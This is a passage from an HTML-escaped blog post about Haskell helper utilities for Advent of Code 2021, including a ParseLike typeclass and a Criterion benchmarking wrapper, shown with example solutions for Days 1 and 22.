    &lt;span class=&quot;token builtin&quot;&gt;putStr&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;part2: &quot;&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt;&#39; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This utility may seem scary since there it&#39;s packed with other user-defined utilities. But to summarise, this function helps standardise the AOC part 1/part 2 structure while also providing the option to specify input files from the command line. This is useful as Haskell Stack is a bit fussy and long-winded when it comes to compilation.&lt;/p&gt;
&lt;p&gt;One thing I found useful was having flexible parse methods. Sometimes I want to parse using a &lt;code&gt;String -&amp;gt; a&lt;/code&gt; function because it was enough to simply do &lt;code&gt;map read . lines&lt;/code&gt;. Other times I want to parse using a &lt;code&gt;Parser a&lt;/code&gt; combinator due to more complicated syntax in the input. Thanks to ad-hoc polymorphism, we can achieve this using typeclasses; and so the &lt;code&gt;ParseLike&lt;/code&gt; typeclass was born:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ParseLike&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;-- Parser object, filename, contents -&amp;gt; result.&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;doParse&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;instance&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ParseLike&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;doParse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;f&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;-- Apply a parse function `f` on `contents`.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;instance&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ParseLike&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;doParse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;runParser&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;res&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;Left&lt;/span&gt;  &lt;span class=&quot;token hvariable&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;T&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;trace&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;errorBundlePretty&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;undefined&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/parselike-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/parselike-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 756&quot; alt=&quot;Red button superhero pressing both buttons. We can have the best of both worlds: string-to-generic functions and parser combinators!&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/parselike-256w.webp 256w, https://trebledj.me/img/posts/programming/aoc-2021/assets/parselike-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here&#39;s an example usage from &lt;a href=&quot;https://github.com/TrebledJ/aoc/blob/master/2021/haskell/src/Days/D01.hs&quot;&gt;Day 1&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;IO&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultMain&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../input/d01.txt&quot;&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;lines&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;uncurry&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip3&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Other usage examples can be found in &lt;a href=&quot;https://github.com/TrebledJ/aoc/tree/master/2021/haskell/app&quot;&gt;my Haskell AOC solutions&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;criterionmain&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#criterionmain&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;criterionMain&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;criterionMain&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;ParseLike&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;-- Default input file, if no -f option was provided from args.&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;-- Any instance of ParseLike, e.g. a function (String -&amp;gt; a) or a parser combinator (Parser a).&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Benchmark&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Criterion IO () benchmarking function.&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;IO&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;criterionMain&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;getBench&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;rest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parseArgs&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;nullOpts&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;getArgs&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;doParse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parse&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;readFile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;withArgs&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;rest&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;defaultMain&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;getBench&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Criterion is an excellent benchmarking library with various config options and output formats. To integrate Criterion with my pre-existing options, I hand-spun another default-main for benchmarking. So instead of passing my parsed input to part 1/2 functions, I pass it to benchmarks.&lt;/p&gt;
&lt;p&gt;Example usage from &lt;a href=&quot;https://github.com/TrebledJ/aoc/blob/master/2021/haskell/src/Days/D22.hs&quot;&gt;Day 22&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;IO&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;criterionMain&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;defaultFile&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;parser&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bgroup&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;part1&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bench&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;part1&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;whnf&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bgroup&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;part2&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bench&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;sum of unions&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;whnf&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bench&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;sum of unions (optimised)&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;whnf&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2_optimised&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bench&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;sum of intersections&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;C&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;whnf&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2_intersect&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;input&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;parser&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;parser&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmds&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmds&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;part2_optimised&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part2_optimised&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;cmds&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;part2_intersect&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
